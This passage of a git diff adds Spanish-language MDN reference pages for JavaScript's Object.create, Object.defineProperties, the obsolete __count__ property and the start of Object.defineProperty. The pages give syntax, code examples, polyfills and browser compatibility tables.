+    function () {},
+<span style="line-height: normal;">    </span>Math,
+<span style="line-height: normal;">    </span>new Number(),
+    1,                // no cambia
+<span style="line-height: normal;">    </span>new Object(),
+    {},
+<span style="line-height: normal;">    </span>new RegExp(),
+    /(?:)/,
+<span style="line-height: normal;">    </span>new String(),
+    "test"            // no cambia
+];
+
+for( var i = 0; i &lt; types.length; i++ ) {
+    types[i].constructor = Type;
+    types[i] = [ types[i].constructor, types[i] instanceof Type, types[i].toString() ];
+}
+
+console.log( types.join( "\n" ) );</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1ra. Edición. Implementado en JavaScript 1.1</td>
+   <td>Estandar.</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.1', 'Objectprototype.constructor')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.constructor', 'Object.prototype.constructor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/count/index.html b/files/es/web/javascript/referencia/objetos_globales/object/count/index.html
new file mode 100644
index 0000000000..74b387457d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/count/index.html
@@ -0,0 +1,82 @@
+---
+title: Object.prototype.__count__
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/count
+translation_of: Archive/Web/JavaScript/Object.count
+---
+<div>{{JSRef}} {{obsolete_header("2")}}</div>
+
+<p>La propiedad <strong><code>__count__</code></strong> es usada para almacenar el número de propiedades enumerables de un objeto, pero esta ha sido eliminada.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><code><var>obj</var>.__count__</code></pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">{ 1: 1 }.__count__              // 1
+[].__count__                    // 0
+[1].__count__                   // 1
+[1, /* hole */, 2, 3].__count__ // 3
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No forma parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/04/06/more-changes-coming-to-spidermonkey-the-magical-__count__-property-of-objects-is-being-removed/">[Blog post] More changes coming to SpiderMonkey: the magical __count__ property is being removed</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/create/index.html b/files/es/web/javascript/referencia/objetos_globales/object/create/index.html
new file mode 100644
index 0000000000..94608d1c58
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/create/index.html
@@ -0,0 +1,377 @@
+---
+title: Object.create()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/create
+tags:
+  - ECMAScript5
+  - JavaScript
+  - 'Null'
+  - Objeto
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.create()</strong></code> crea un objeto nuevo, utilizando un objeto existente como el prototipo del nuevo objeto creado.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-create.html")}}</div>
+
+<div></div>
+
+<div>La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si desea contribuir al proyecto de ejemplos interactivos, clone https://github.com/mdn/interactive-examples y envíenos una solicitud de extracción (pull request).</div>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Object.create(<var>proto</var>[, <var>propertiesObject</var>])</pre>
+
+<h3 id="Parámetros" name="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em>proto</em></dt>
+ <dd>Objeto el cual debe ser el prototipo del nuevo objeto creado.</dd>
+ <dt><em>propertiesObject</em></dt>
+ <dd>Opcional. Si se especifica y no es {{jsxref("undefined")}}, un objeto cuyas propiedades enumerables propias (es decir, aquellas propiedades definidas sobre si mismo y <em>no</em> son propiedades enumerable a lo largo de su cadena de prototipos) espefica descriptores de propiedad para ser agregadas al objeto recien creado, con los nombres de propiedad correspondiente. Estas propiedades corresponden al segundo argumento de {{jsxref("Object.defineProperties")}}.</dd>
+</dl>
+
+<h3 id="Description" name="Description">Valor devuelto</h3>
+
+<p>Un nuevo objeto con el prototipo y propiedades del objeto especificado.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>Una excepción {{jsxref("TypeError")}} si el parámetro <code>propertiesObject</code> es {{jsxref("null")}} o un objeto envolvente no primitivo.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Herencia_clásica_con_Object.create">Herencia clásica con <code>Object.create()</code></h3>
+
+<p>Debajo se encuentra un ejemplo de cómo usar <code>Object.create()</code> para lograr herencia clásica. Este es para herencia simple, la cual es todo lo que soporta JavaScript.</p>
+
+<pre class="brush: js notranslate">// Shape - superclase
+function Shape() {
+  this.x = 0;
+  this.y = 0;
+}
+
+// método de la superclase
+Shape.prototype.move = function(x, y) {
+    this.x += x;
+    this.y += y;
+    console.info("Shape moved.");
+};
+
+// Rectangle - subclase
+function Rectangle() {
+  Shape.call(this); // llama al contructor de la superclase.
+}
+
+// subclase extiende superclase
+Rectangle.prototype = Object.create(Shape.prototype);
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log('¿Es rect una instancia de Rectangle?',
+  rect instanceof Rectangle); // true
+console.log('¿Es rect una instancia de Shape?',
+  rect instanceof Shape); // true
+rect.move(1, 1); // Imprime, 'Shape moved.'
+</pre>
+
+<p>Si desea heredar desde múltiples objetos, entonces los mixins son una posibilidad.</p>
+
+<pre class="brush: js notranslate">function MyClass() {
+  SuperClass.call(this);
+  OtherSuperClass.call(this);
+}
+
+// inherit one class
+MyClass.prototype = Object.create(SuperClass.prototype);
+// mixin another
+Object.assign(MyClass.prototype, OtherSuperClass.prototype);
+// re-assign constructor
+MyClass.prototype.constructor = MyClass;
+
+MyClass.prototype.myMethod = function() {
+  // do something
+};
+</pre>
+
+<p>{{jsxref("Object.assign()")}} copia las propiedades del prototipo <em>OtherSuperClass</em> al prototipo de <em>MyClass</em>, haciéndolas disponibles en todas las instancias de <em>MyClass</em>. <code>Object.assign()</code> se introdujo con ES2015 y <a href="/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/assign#Polyfill">tiene polyfill</a>. Si el soporte para navegadores antiguos es necesario, se puede utilizar <code><a href="https://api.jquery.com/jQuery.extend/">jQuery.extend()</a></code> o <code><a href="https://lodash.com/docs/#assign">_.assign()</a></code>.</p>
+
+<h3 id="Usando_el_argumento_propertiesObject_con_Object.create">Usando el argumento <code>propertiesObject</code> con <code>Object.create()</code></h3>
+
+<pre class="brush: js notranslate">var o;
+
+// crea un objeto con un prototipo como null
+o = Object.create(null);
+
+
+o = {};
+// esto equivale a:
+o = Object.create(Object.prototype);
+
+
+// Ejemplo en donde creamos un objeto con un par de propiedades de ejemplo.
+// (Note que el segundo parámetro mapea claves para los *descriptores de propiedad*.)
+o = Object.create(Object.prototype, {
+  // foo es un habitual "propiedad de valor"
+  foo: { writable:true, configurable:true, value: "hello" },
+  // bar es una propiedad getter-and-setter (de acceso)
+  bar: {
+    configurable: false,
+    get: function() { return 10 },
+    set: function(value) { console.log("Setting `o.bar` to", value) }
+}});
+
+
+function Constructor(){}
+o = new Constructor();
+// es equivalente a:
+o = Object.create(Constructor.prototype);
+// Por supuesto, si hay un código de inicialización en la
+// función Constructor, el Object.create no puede reflejar esta.
+
+
+// crear un nuevo objeto cuyo prototipo es un nuevo, objeto vacío
+// y agregar una única propiedad 'p', con el valor 42
+o = Object.create({}, { p: { value: 42 } })
+
+// por defecto las propiedades NO SON editables, enumerables o configurables:
+o.p = 24
+o.p
+// 42
+
+o.q = 12
+for (var prop in o) {
+   console.log(prop)
+}
+// "q"
+
+delete o.p
+// false
+
+// <span style="font-size: 1rem;">para especificar una propiedad en ES3</span>
+
+o2 = Object.create({}, { p: {
+      value: 42,
+      writable: true,
+      enumerable: true,
+      configurable: true }
+});
+</pre>
+
+<h2 id="Objetos_personalizados_y_nulos">Objetos personalizados y nulos</h2>
+
+<p>Un objeto nuevo creado de un objeto completamente personalizado (especialmente uno creado de un objeto nulo, que es básicamente un objeto personalizado sin miembros) puede comportarse de manera inesperada. Esto es especialmente cierto cuando se depura, ya que las funciones comunes  de conversión/detección de propiedad de objeto pueden generar errores, o simplemente perder información (especialmente si se atrapan excepciones de manera silenciosa que ignoran los errores). Por ejemplo, aquí hay dos objetos:</p>
+
+<pre class="brush: js notranslate">oco = Object.create( {} );   // Crea un objeto normal
+ocn = Object.create( null ); // Crea un objeto "null"
+
+&gt; console.log(oco) // {} -- Parece normal
+&gt; console.log(ocn) // {} -- Parece normal aquí también, hasta este momento
+
+oco.p = 1; // Crea una propiedad simple en un objeto normal
+ocn.p = 0; // Crea una propiedad simple en un objeto "null"
+
+&gt; console.log(oco) // {p: 1} -- Todavía parece normal
+&gt; console.log(ocn) // {p: 0} --Todavía parece normal aquí también. PERO ESPERA...
+</pre>
+
+<p>Como se muestra arriba, todo parece normal hasta ahora. Sin embargo, al intentar usar estos objetos, sus diferencias se hacen evidentes rápidamente:</p>
+
+<pre class="brush: js notranslate">&gt; "oco is: " + oco // Muestra "ocn is: [object Object]"
+
+&gt; "ocn is: " + ocn // Arroja error: Cannot convert object to primitive value
+</pre>
+
+<p>Probar solo algunas de las funciones incorporadas más básicas muestra la magnitud del problema más claramente:</p>
+
+<pre class="brush: js notranslate">&gt; alert(oco) // Muestra: [object Object]
+&gt; alert(ocn) // Arroja error: Cannot convert object to primitive value
+
+&gt; oco.toString() // Muestra [object Object]
+&gt; ocn.toString() // Arroja error: ocn.toString is not a function
+
+&gt; oco.valueOf() // Muestra{}
+&gt; ocn.valueOf() // Arroja error: ocn.valueOf is not a function
+
+&gt; oco.hasOwnProperty("p") // Muestra "true"
+&gt; ocn.hasOwnProperty("p") // Arroja error: ocn.hasOwnProperty is not a function
+
+&gt; oco.constructor // Muestra "Object() { [native code] }"
+&gt; ocn.constructor // Muestra "undefined"
+</pre>
+
+<p>Como se dijo, estas diferencias pueden hacer que la depuración e incluso problemas aparentemente simples se pierdan rápidamente. Por ejemplo:</p>
+
+<p><em>Una función simple de depuración:</em></p>
+
+<pre class="brush: js notranslate">// mostrar nombre de propiedad de nivel superior: pares de valores de un objeto dado
+function ShowProperties( b ){
+  for( var i in b ){  console.log( i + ": " + b[i] + "\n" )  }
+}</pre>
+
+<p><em>Resultados no tan simples: (especialmente si la captura silenciosa de errores había ocultado los mensajes de error)</em></p>
+
+<pre class="brush: js notranslate">ob={}; ob.po=oco; ob.pn=ocn; // crear un objeto compuesto usando los objetos de prueba de arriba como valores de propiedad
+
+&gt; ShowProperties( ob ) // Muestra propiedades de nivel superior
+- po: [object Object]
+- Error: Cannot convert object to primitive value
+
+Tenga en cuenta que solo se muestra la primera propiedad.
+</pre>
+
+<p><em>(Pero si se crea el mismo objeto simplemente en un orden diferente, al menos en algunas implementaciones ...)</em></p>
+
+<pre class="brush: js notranslate">ob={}; ob.pn=ocn; ob.po=oco; // cree el mismo objeto compuesto nuevamente, pero cree las mismas propiedades en un orden diferente
+
+&gt; ShowProperties( ob ) // Muestra propiedades de nivel superior
+- Error: Cannot convert object to primitive value
+
+Tenga en cuenta que ninguna propiedad se muestra.</pre>
+
+<p>Tenga en cuenta que un orden tan diferente puede surgir estáticamente a través de codificaciones fijas dispares, como aquí, pero también dinámicamente a través del orden en que se ejecutan dichas ramas de código de adición de propiedades en tiempo de ejecución, ya que depende de entradas y / o variables aleatorias. Por otra parte, el orden de iteración real no está garantizado, independientemente de cómo son agregados los miembros.</p>
+
+<h4 id="Algunas_NO-soluciones">Algunas NO-soluciones</h4>
+
+<p>A good solution for the missing object-methods is not immediately apparent.</p>
+
+<p>Adding the missing object-method directly from the standard-object does NOT work:</p>
+
+<pre class="brush: js notranslate">ocn = Object.create( null ); // create "null" object (same as before)
+
+ocn.toString = Object.toString; // since new object lacks method then try assigning it directly from standard-object
+
+<span style="">&gt; ocn.toString // shows "toString() { [native code] }" -- missing method seems to be there now</span>
+&gt; ocn.toString == Object.toString // shows "true" -- method seems to be same as the standard object-method
+
+&gt; ocn.toString() // error: Function.prototype.toString requires that 'this' be a Function
+</pre>
+
+<p><br>
+ Adding the missing object-method directly to new object's "prototype" does not work either, since new object does not have a real prototype (which is really the cause of ALL these problems) and one cannot be <strong>directly</strong> added:</p>
+
+<pre class="brush: js notranslate">ocn = Object.create( null ); // create "null" object (same as before)
+
+ocn.prototype.toString = Object.toString; // Error: Cannot set property 'toString' of undefined
+
+ocn.prototype = {};                       // try to create a prototype
+ocn.prototype.toString = Object.toString; // since new object lacks method then try assigning it from standard-object  <span style="">
+
+&gt; ocn.toString() // error: ocn.toString is not a function</span>
+</pre>
+
+<p><br>
+ Adding the missing object-method by using the standard-object<strong> </strong>as new object's prototype does not work either:</p>
+
+<pre class="brush: js notranslate">ocn = Object.create( null );        // create "null" object (same as before)
+Object.setPrototypeOf(ocn, Object); // set new object's prototype to the standard-object
+
+&gt; ocn.toString() // error: Function.prototype.toString requires that 'this' be a Function
+</pre>
+
+<h4 id="Algunas_soluciones_aceptables">Algunas soluciones aceptables</h4>
+
+<p>Again, adding the missing object-method directly from the <strong>standard-object </strong>does NOT work. However, adding the <strong>generic</strong> method directly, DOES:</p>
+
+<pre class="brush: js notranslate">ocn = Object.create( null ); // create "null" object (same as before)
+
+ocn.toString = toString; // since new object lacks method then assign it directly from generic version
+
+&gt; ocn.toString() // shows "[object Object]"
+&gt; "ocn is: " + ocn // shows "ocn is: [object Object]"
+
+
+ob={}; ob.pn=ocn; ob.po=oco; // create a compound object (same as before)
+
+&gt; ShowProperties(ob) // display top-level properties
+- po: [object Object]
+- pn: [object Object]
+</pre>
+
+<p>However, setting the generic <strong>prototype</strong> as the new object's prototype works even better:</p>
+
+<pre class="brush: js notranslate">ocn = Object.create( null );                  // create "null" object (same as before)
+Object.setPrototypeOf(ocn, Object.prototype); // set new object's prototype to the "generic" object (NOT standard-object)
+</pre>
+
+<p><em>(In addition to all the string-related functions shown above, this also adds:)</em></p>
+
+<pre class="brush: js notranslate">&gt; ocn.valueOf() // shows {}
+&gt; ocn.hasOwnProperty("x") // shows "false"
+&gt; ocn.constructor // shows "Object() { [native code] }"
+
+// ...and all the rest of the properties and methods of Object.prototype.
+</pre>
+
+<p>As shown, objects modified this way now look very much like ordinary objects.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Este polyfill cubre el caso de uso principal  el cual es la creación de un nuevo objeto para el prototipo que ha sido escogido pero no toma el segundo argumento en cuenta.</p>
+
+<p>Note that while the setting of <code>null</code> as <code>[[Prototype]]</code> is supported in the real ES5 <code>Object.create</code>, this polyfill cannot support it due to a limitation inherent in versions of ECMAScript lower than 5.</p>
+
+<pre class="brush: js notranslate"> if (typeof Object.create !== "function") {
+    Object.create = function (proto, propertiesObject) {
+        if (typeof proto !== 'object' &amp;&amp; typeof proto !== 'function') {
+            throw new TypeError('Object prototype may only be an Object: ' + proto);
+        } else if (proto === null) {
+            throw new Error("This browser's implementation of Object.create is a shim and doesn't support 'null' as the first argument.");
+        }
+
+        if (typeof propertiesObject != 'undefined') {
+            throw new Error("This browser's implementation of Object.create is a shim and doesn't support a second argument.");
+        }
+
+        function F() {}
+        F.prototype = proto;
+
+        return new F();
+    };
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Object.create")}}</div>
+
+<h2 id="Ver_tambien" name="Ver_tambien">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty")}}</li>
+ <li>{{jsxref("Object.defineProperties")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+ <li>Publicación de John Resig sobre <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/" title="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf()</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/defineproperties/index.html b/files/es/web/javascript/referencia/objetos_globales/object/defineproperties/index.html
new file mode 100644
index 0000000000..3002dd200d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/defineproperties/index.html
@@ -0,0 +1,194 @@
+---
+title: Object.defineProperties()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/defineProperties
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Método(2)
+  - Objeto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+---
+<div>{{JSRef("Objetos_globales", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>El metodo <strong><code>Object.defineProperties()</code></strong> define nuevas o modifica propiedades existentes directamente en el objeto, retornando el objeto.</p>
+
+<h2 id="Syntax" name="Syntax">Sintáxis</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperties(<em>obj</em>, <em>propiedades</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt>obj</dt>
+ <dd>El objeto sobre el cual se crearán o modificaran sus propiedades.</dd>
+ <dt>propiedades</dt>
+ <dd>Un objeto cuyas propiedades enumerables propias consituyen descriptores para las propiedades a ser definidas o modificadas.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p><code>Object.defineProperties</code>, en escencia, define todas las propiedades correspondientes a las propiedades propias con capacidad de enumeración de <code>props</code> en el objeto <code>objrops.</code></p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">Object.defineProperties(obj, {
+  "property1": {
+    value: true,
+    writable: true
+  },
+  "property2": {
+    value: "Hello",
+    writable: false
+  }
+  // etc. etc.
+});</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Asumiendo una ejecución pristina del entorno con todos los nombres y propiedades referidas a sus valores iniciales, <code>Object.defineProperties</code> es casi completamente equivalente (note el comentario en <code>isCallable</code>) a la siguiente reimplementación de JavaScript:</p>
+
+<pre class="brush: js;highlight:[8]">function defineProperties(obj, properties) {
+  function convertToDescriptor(desc) {
+    function hasProperty(obj, prop) {
+      return Object.prototype.hasOwnProperty.call(obj, prop);
+    }
+
+    function isCallable(v) {
+      // NB: modify as necessary if other values than functions are callable.
+      return typeof v === "function";
+    }
+
+    if (typeof desc !== "object" || desc === null)
+      throw new TypeError("bad desc");
+
+    var d = {};
+
+    if (hasProperty(desc, "enumerable"))
+      d.enumerable = !!obj.enumerable;
+    if (hasProperty(desc, "configurable"))
+      d.configurable = !!obj.configurable;
+    if (hasProperty(desc, "value"))
+      d.value = obj.value;
+    if (hasProperty(desc, "writable"))
+      d.writable = !!desc.writable;
+    if ( hasProperty(desc, "get") ) {
+      var g = desc.get;
+
+      if (!isCallable(g) &amp;&amp; g !== "undefined")
+        throw new TypeError("bad get");
+      d.get = g;
+    }
+    if ( hasProperty(desc, "set") ) {
+      var s = desc.set;
+      if (!isCallable(s) &amp;&amp; s !== "undefined")
+        throw new TypeError("bad set");
+      d.set = s;
+    }
+
+    if (("get" in d || "set" in d) &amp;&amp; ("value" in d || "writable" in d))
+      throw new TypeError("identity-confused descriptor");
+
+    return d;
+  }
+
+  if (typeof obj !== "object" || obj === null)
+    throw new TypeError("bad obj");
+
+  properties = Object(properties);
+
+  var keys = Object.keys(properties);
+  var descs = [];
+
+  for (var i = 0; i &lt; keys.length; i++)
+    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+
+  for (var i = 0; i &lt; descs.length; i++)
+    Object.defineProperty(obj, descs[i][0], descs[i][1]);
+
+  return obj;
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>Basado en <a class="external" href="http://kangax.github.com/es5-compat-table/">Kangax's compat tables</a>.</p>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>5 (previous versions untested)</td>
+   <td>9</td>
+   <td>11.60</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.50</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties" title="Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/defineproperty/index.html b/files/es/web/javascript/referencia/objetos_globales/object/defineproperty/index.html
new file mode 100644
index 0000000000..f971d5a131
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/defineproperty/index.html
@@ -0,0 +1,419 @@
+---
+title: Object.defineProperty()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/defineProperty
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Método(2)
+  - Objeto
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="summary" name="summary">Resumen</h2>
+
+<p>El  método estático <code><strong>Object.defineProperty()</strong></code> define una nueva propiedad sobre un objeto, o modifica una ya existente, y devuelve el objeto modificado.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Ud. puede llamar a este método directamente mediante el constructor {{jsxref("Object")}} en vez de crear una instancia del tipo <code>Object</code>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descriptor</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto sobre el cual se define la propiedad.</dd>
+ <dt><code>prop</code></dt>
+ <dd>El nombre de la propiedad a ser definida o modificada.</dd>
+ <dt><code>descriptor</code></dt>
+ <dd>El descriptor de la propiedad que está siendo definida o modificada.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Este método permite añadir o modificar una propiedad en un objeto.</p>
+
+<p>La adición normal de una propiedad a través de la asignación crea propiedades que aparecen durante la enumeración de propiedades en el bucle ({{jsxref("Sentencias/for...in", "for...in")}} o el método {{jsxref("Object.keys")}}), cuyos valores pueden modificarse y pudiendo incluso eliminar la propiedad del objeto mediante el método {{jsxref("Operadores/delete", "delete")}}.</p>
+
+<p>Este método nos permite modificar el comportamiento por defecto de las propiedades. Es decir, nos permite definir una propiedad como no enumerable, no modificable o incluso evitar que pueda ser eliminada del objeto.</p>
+
+<p>Existen dos tipos de descriptores: De datos y de acceso.  Un <em><dfn>descriptor de datos</dfn></em> define una propiedad que tiene un valor, el cual puede ser o no modificado. Un descriptor de acceso define una propiedad mediante un par de funciones getter-setter que describe como se obtiene o se modifica el contenido de dicha propiedad. Un descriptor debe de ser de uno de estos dos tipos; no puede ser ambos.</p>
+
+<p>Ambos tipos de descriptores son objetos y comparten las siguientes claves opcionales:</p>
+
+<dl>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code> si y solo si el tipo de descriptor de propiedad puede modificarse y si la propiedad puede ser eliminada del correspondiente objeto.<br>
+ <strong>Por defecto es <code>false</code>.</strong></dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code> si y solo si dicha propiedad se muestra durante la enumeración de las propiedades del objeto correspondiente.<br>
+ <strong>Por defecto es <code>false</code>.</strong></dd>
+</dl>
+
+<p>Un descriptor de datos tiene además las siguientes claves opcionales:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>El valor asociado a la propiedad. Puede ser cualquier tipo valido de JavaScript  (number, object, function, etc).<br>
+ <strong>Por defecto es {{jsxref("Objetos_Globales/undefined", "undefined")}}.</strong></dd>
+ <dt><code>writable</code></dt>
+ <dd><code>true</code> Indica si el valor de la propiedad puede modificarse con el  {{jsxref("Operators/Assignment_Operators", "operador de asignación", "", 1)}}.<br>
+ <strong>Defaults to <code>false</code>.</strong></dd>
+</dl>
+
